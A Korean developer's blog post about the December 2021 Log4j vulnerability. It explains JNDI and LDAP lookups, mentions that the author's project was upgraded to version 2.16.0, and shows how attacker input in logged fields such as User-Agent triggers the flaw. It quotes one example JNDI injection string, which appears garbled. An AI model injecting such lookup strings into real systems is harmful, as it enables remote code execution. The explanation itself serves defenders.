Time does not change us. It just unfolds us.

Web/Else

log4j 취약점

소젬 2021. 12. 20. 11:25

https://news.naver.com/main/read.naver?mode=LSD&mid=sec&sid1=105&oid=029&aid=0002710894 

 

IT기업들 `로그4j` 헬프데스크 가동

LG CNS·더존비즈온 동시 대응 해커 공격대비해 비상근무체제 보안워룸… 고객 문의사항 답변 유사한 보안 이슈 발생도 서비스 LG CNS, 더존비즈온 등 IT기업들이 최근 치명적인 보안 취약점이 발견

news.naver.com

현재 log4j의 취약점때문에 얘기가 많았다. 

우리 프로젝트도 2.16.0으로 버전을 변경하여 다시 배포하였다.

취약점의 원인은 아래 나무위키의 내용을 참고하여 이해하였다.

https://namu.wiki/w/Log4j%20%EB%B3%B4%EC%95%88%20%EC%B7%A8%EC%95%BD%EC%A0%90%20%EC%82%AC%ED%83%9C


Log4j : Java/Kotlin/Scala/Groovy 코딩 도중에 프로그램의 로그를 기록해주는 라이브러리로, 이클립스IntelliJ IDEA안드로이드 스튜디오 등에 추가해서 프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해주는 기능을 한다.

JNDI : Java Naming and Directory Interface의 약자로 1990년대 후반부터 Java에 추가된 인터페이스로, Java 프로그램이 디렉토리를 통해 데이터(Java 객체 형태)를 찾을 수 있도록 하는 디렉토리 서비스

JNDI는 이러한 디렉토리 서비스를 위해 다양한 인터페이스가 존재하는데 그 중 하나가 LDAP이다. 이 LDAP가 이번 취약점에 가장 중요한 포인트이다.

Java 프로그램들은 앞서 말한 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있다. 예시로 URL ldap://localhost:389/o=JNDITutorial을 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있는 것이다.

이러한 접근 인터페이스가 이번 사태에 치명적이게 된 이유는, Log4j에는 편리하게 사용하기 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게 하는 문법이 존재하기 때문이다. 예를 들어 ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있게 한다.

이런 문법은 로그가 기록될 때도 사용이 가능 했고, 결국 해커가 로그에 기록되는 곳을 찾아 ${jndi:sndi:snd://example.com/a}과 같은 값을 추가하기만 하면 취약점을 이용할 수 있는 것이다. 이 값을 넣는 방법은 User-Agent와 같은 일반적인 HTTP 헤더일 수도 있고 여러가지 방법이 있다.

LDAP : 경량 디렉터리 액세스 프로토콜로서 TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜

 

 

'Web > Else' 카테고리의 다른 글

Intellij 사용 팁(추가)  (0) 2021.11.25
[Maven]빌드하여 jar 파일 만들기  (0) 2021.11.16
[Web]HttpSessionListener, AtomicInteger  (0) 2021.11.15
[Web]Token 기반 인증  (0) 2021.11.11
[Web]Maven LifeCycle  (0) 2021.11.04